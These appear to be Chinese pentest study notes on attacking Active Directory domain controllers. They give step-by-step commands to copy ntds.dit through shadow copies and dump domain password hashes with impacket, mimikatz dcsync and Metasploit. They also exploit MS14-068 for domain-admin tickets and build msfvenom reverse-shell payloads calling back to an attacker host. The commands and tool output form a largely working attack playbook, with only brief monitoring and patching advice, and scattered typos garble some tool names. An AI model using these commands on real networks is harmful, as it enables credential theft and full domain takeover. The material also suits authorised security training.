第6章域控制器安全
目录
6.2.3在Windows下解析ntds.dit并导出域账号和域散列值
6.5使用wshadow.exe和QuarksPwDumpexe导出域账号和域散列值
第6章域控制器安全
在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
6.1使用卷影拷贝服务提取ntds.dit
在活动目录中,所有的数据都保存在 ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。本节将介绍如何从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。
6.1.1通过ntdsutil.exe提取ntds.dit
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。
下面通过实验来讲解使用ntdsutil.exe提取ntds.dit的方法。
1.在域控制器的命令行环境中创建一个快照。该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个GUID为{c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}的快照。
2.加载创建的快照
ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
3.复制快照中的文件
copy C:\$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
4.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" "delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
5.查询当前快照
ntdsutil snapshot "List All" quit quit
6.1.2 利用 vssadmin提取 ntds.dit
vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似
1.在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.在创建的卷影拷贝中将ntds.dit 复制出来
-
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
-
dir c:\ |findstr "ntds"
3.删除快照
vssadmin delete shadows /for=c: /quiet
6.1.3利用vssown.vbs脚本提取ntds.dit
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本。该脚本中的常用命令如下
-
//启动卷影拷贝服务
-
cscript vssown.vbs /start
-
1/创建一个C盘的卷影拷贝
-
cscript vssown.vbs /create c
-
//列出当前卷影拷贝
-
cscript vssown.vbs /list
-
//删除卷影拷贝
-
cscript vssown.vbs /delete
1.启动卷影拷贝服务
cscript vssown.vbs /start
2.创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
3.列出当前卷影拷贝
cscript vssown.vbs /list
4.复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit
5.删除卷影拷贝
cscript vssown.vbs /delete {9AB33ECE-8FF2-49A8-9305-101993C6648E}
6.1.4使用ntdsutil的iFM创建卷影拷贝
除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取nsdi。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行
1.在域控制器中以管理员模式打开命令行
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
2.将ntds.dit复制到c:\test\Active Directory\文件夹下,将SYSTEM和SECURITY复制到c:\test\registry文件夹下
-
dir "c:\test\Active Directory"
-
dir "c:\test\registry"
3.将ntds.dit拖回本地,删除test文件夹
rmdir /s /q test
4.nishang中有一个powershell脚本copy-vss.ps1。
-
import-module .\Copy.VSS.ps1
-
Copy-vss
6.1.5使用diskshadow导出ntds.dit
微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windows\system32\目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。
diskshadow.exe /? #查看diskshadow.exe的帮助信息
在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:\windows\system32\calc.exe"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令
c:\>diskshadow /s c:\commmand.txt
使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行
c:\Windows\System32>diskshadow /s c:\command.txt
-
//设置卷影拷贝
-
set context persistent nowriters
-
//添加卷
-
add volume c: alias someAlias
-
//创建快照
-
create
-
//分配虚拟磁盘盘符
-
expose %someAlias% k:
-
//将ntds.dit复制到C盘c:\ntds.dit
-
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit
-
//删除所有快照
-
delete shadows all
-
//列出系统中的卷影拷贝
-
list shadows all
-
//重置
-
reset
-
//退出
-
exit
导出ntds.dit后,可以将system, hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息
c:\>reg save hklm\system c:\windows\temp\system.hive
注意事项
- 渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
- 在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
- 在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
- 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
- 在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32\中进行操作。
- 脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
6.1.6 监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
- 监控创建dkshndko.exe及相关子进程的事件。
- 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
6.2导出ntds.dit中的散列值
6.2.1使用 esedbexport恢复ntds.dit
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz 文件不存在,未安装成功
6.2.2使用impacket工具包导出散列值
-
git clone https://github.com/csababarta/ntdsxtract.git
-
┌──(rootkali)-[/tools/ntdsxtract]
-
└─# python setup.py install
-
┌──(rootkali)-[/tools/ntdsxtract]
-
└─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL #导出ntds.dit中的散列值。
impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:f478e94103927311912ff00846210a30 -just-dc testlab.com/Administrator@1.1.1.8
6.2.3在Windows下解析ntds.dit并导出域账号和域散列值
使用NTDSDumpex.exe可以进行导出散列值的操作。NTDSDumpex将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一日录下,打开命令行环境,输人如下命令,导出域账号和域散列值
C:\Users\Administrator\Desktop>NTDSDumpEx.exe -d ntds.dit -s system
6.3利用dcsync获取域散列值
6.3.1使用 mimikatz转储域散列值
mimikaz有一个 deyne功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索城散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit.
1.在域内的任意一台计算机,以管理员权限打开命令行环境
-
lsadump::dcsync /domain:hello.testlab.com /all /csv #导出域内所有用户名及散列值
-
lsadump::dcsync /domain:hello.testlab.com /user:Administrator #导出用户Administrator的散列值。
-
-
privilege::debug
-
lsadump::lsa /inject #转储lsass.exe进程对散列值进行Dump操作
-
如果没有预先执行prvile::debug命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全将其显示出来,可以先执行log命令(会在mimikatz目录下生成一个文本文件,用于记录mimikaz的所有执行结果)。
6.3.2使用dcsync获取域账号和域散列值
Invoke _DCSync.ps1可以利用desync直接读取ntds.dit,以获取域账号和域散列值
输人"nvoke-DCSync -PWDumpFormat"命令(-PWDumpFormat参数用于对输出的内容进行格式化)
-
PS C:\Users\Administrator> Import-Module .\Invoke-DCSync.ps1
-
PS C:\Users\Administrator> Invoke-DCSync -PWDumpFormat
6.4使用Metasploit获取域散列值
1. psexec_ntdsgrab模块的使用
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > back
-
msf6 > use auxiliary/admin/smb/psexec_ntdsgrab
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options
-
-
Module options (auxiliary/admin/smb/psexec_ntdsgrab):
-
-
Name Current Setting Required Description
-
---- --------------- -------- -----------
-
CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy
-
RHOSTS 1.1.1.8 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
-
RPORT 445 yes The SMB service port (TCP)
-
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
-
SERVICE_DISPLAY_NAME no The service display name
-
SERVICE_NAME no The service name
-
SMBDomain hello.testlab no The Windows domain to use for authentication
-
SMBPass 123456Aa no The password for the specified username
-
SMBSHARE C$ yes The name of a writeable share on the server
-
SMBUser Administrator no The username to authenticate as
-
VSCPATH no The path to the target Volume Shadow Copy
-
WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)
-
-
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run
-
-
获取到ntds.dit文件和system复制到/root/.msf6/loot文件夹下,使用impacket工具包进行解析ntds.dit文件。
2.基于meterpreter会话获取域账号和散列值。
-
msf6 > use exploit/multi/handler #创建监听
-
[*] Using configured payload generic/shell_reverse_tcp
-
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
-
payload => windows/x64/meterpreter/reverse_tcp
-
msf6 exploit(multi/handler) > set lhost 1.1.1.5
-
lhost => 1.1.1.5
-
msf6 exploit(multi/handler) > set lport 777
-
lport => 777
-
-
┌──(rootkali)-[/var/www/html]
-
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=777 -f exe > ser.exe #生成的文件上传到目标机器并执行
-
-
msf6 exploit(multi/handler) > exploit -j -z
-
[*] Exploit running as background job 0.
-
[*] Exploit completed, but no session was created.
-
[*] Started reverse TCP handler on 1.1.1.5:777
-
-
msf6 exploit(multi/handler) > use post/windows/gather/credentials/domain_hashdump #使用后渗透模块获取账户和域散列值。
-
msf6 post(windows/gather/credentials/domain_hashdump) > show options
-
msf6 post(windows/gather/credentials/domain_hashdump) > set SESSION 2
-
SESSION => 2
-
msf6 post(windows/gather/credentials/domain_hashdump) > exploit
-
6.5使用wshadow.exe和QuarksPwDumpexe导出域账号和域散列值
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进人域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。
ShadowCopy是一款免费的增强 型文件复制工具。ShadowCopy 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件。
vshdow.exe是从Windows SDK中提取出来的。在本实验中,安装vshadow.exe 后,会在VSSDK72\TestApps\vshadow目录下生成一个bin文件vshadow.xce (可以将该文件单独提取出来使用)将文件全部放人domainhash文件夹中
在shadowcopy.bat中设置工作目录为C:Windows\Temp(目录可以在shadowcopy.bat中自行设置)
执行shaowopba脚本(该脚本使用vshadow.exe生成快照),复制ntds.dit.然后,使用QuarksPwDump修复ntds.dit并导出域散列值。运行该脚本后,会在刚刚设置的工作目录下存放导出的ntds.dit和hash.txt(包含域内所有的域账号及其散列值)。
本节列举了多种导出用户散列值的方法。在获得散列值后,可以使用本地工具或者在线工具对其进行破解。如果采用本地破解的方式,可以使用Cain LC7、Opherack、SAMInside、Hashal 等工具。如果采用在线破解的方式,针对NTLM Hash的在线破解网站针对LM Hash的在线破解网站
6.6Kerberos域用户提权漏洞分析与防范
微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润(MS14-068 CVE201462424)所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 208 Windows Sever 2008 R2、Windows Server 2012和Win2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意城用的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos 密明分发中心( KDC)申请TGT由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT就使普通域管理用户权限。该用户可以将TGT发送到KDC, KDC的TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。
6.6.1测试环境
- 域: hello
- 域SID:S-1-5-21-2850215151-526022293-2118279608-500
- Kai Linux机器的IP地址: 1.1.1.5
- 域机器的IP地址: 1.1.1.10
6.6.2 PyKEK工具包
pyKEK (Pybon Kerberos Expoiation Kit)是利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生生成一张高权原的服务票据,并通过mimikatz将服务票据注人内存。
PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件
1.工具说明
ms14-068. py是PyKEK工具包中的MS14-068漏洞利用脚本
-
-u <userName>@<domainName>:用户名@域名。
-
-s <userSid>: 用户SID。
-
-d <domainControlerAddr>:域控制器地址。
-
-p <clearPassword>: 明文密码。
-
--rc4 <ntlmHash>:在没有明文密码的情况下,通过NTLM Hash登录。
2.查看域控制器的补丁安装情况
微软针对MS14-068 ( CVE-2014-6324 )漏洞提供的补丁为KB3011780
wmic qfe get hotfixid
3.查看用户的SID
-
whoami /user
-
wmic useraccount get name,sid
4.生成高权限票据
-
ms14-068.exe -u 与成员名 -s 域成员sid -d 域控制器地址 -p域成员密码
-
-
python ms14-068.py -u administrator\ -s S-1-5-21-2850215151-2118279608-500 -d 1.1.1.10 -p 123456Aa
5.查看注入前的权限
-
将票据文件复制到mimikatz目录下
-
net use \\win-2012\c$ 权限拒绝
6.清除内存中的所有票据
kerberos::purge #tickets purge for current session is OK 代表清除成功。
7.将高权限票据注入内存
kerberos::ptc "TGT_user1@hello.com.ccache"
8.验证权限
-
dir 列出域控制器c盘的内容
-
net use 连接ip可能会失败,所以使用机器名连接
6.6.3 goldenPac py
goldenPac.py是一个用于对Kerberos进行测试的工具,它集成在impacket/examples下。
python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
1.安装Kerberos客户端
Kali中默认不包含Kerberos客户端,因此需要单独安装,命令如下。
apt-get install krb5-user -y
2. 配合使用PsExec获取域控制器的Shell,使用goldenPac py获取域控制器的Shell
goldenPac.py hello.com/Administrator:123456Aa@1.1.1.10
6.6.4在Metasploit进行测试
-
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
-
设置参数
-
exploit
格式转换
-
msf不支持导入bin文件。使用mimikatz进行格式转化
-
kerberos::clist ".......bin" /export
msfvenom生成一个反向shell
msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe
msf设置监听
-
use exploit/multi/reverse_tcp
-
exploit
-
-
getuid 查看权限
-
load kiwi
-
kerberos_ticket_use/tmp/...kirbi #导入票据
-
background
-
使用高权限票据进行测试
-
-
msf6 > use exploit/windows/local/current_user_psexec
-
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
-
msf6 exploit(windows/local/current_user_psexec) > set payload windows/meterpreter/reverse_tcp
-
payload => windows/meterpreter/reverse_tcp
-
msf6 exploit(windows/local/current_user_psexec) > set TECHNIQUE PSH
-
TECHNIQUE => PSH
-
msf6 exploit(windows/local/current_user_psexec) > set RHOSTS win2008.hello.com
-
RHOSTS => win2008.hello.com
-
msf6 exploit(windows/local/current_user_psexec) > set lhost 1.1.1.5
-
lhost => 1.1.1.5
-
msf6 exploit(windows/local/current_user_psexec) > set session 1
-
session => 1
-
msf6 exploit(windows/local/current_user_psexec) > exploit
6.6.5防范建议
- 开启Windows Update功能,进行自动更新。
- 手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
- 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
- 在服务器上安装反病毒软件,及时更新病毒库。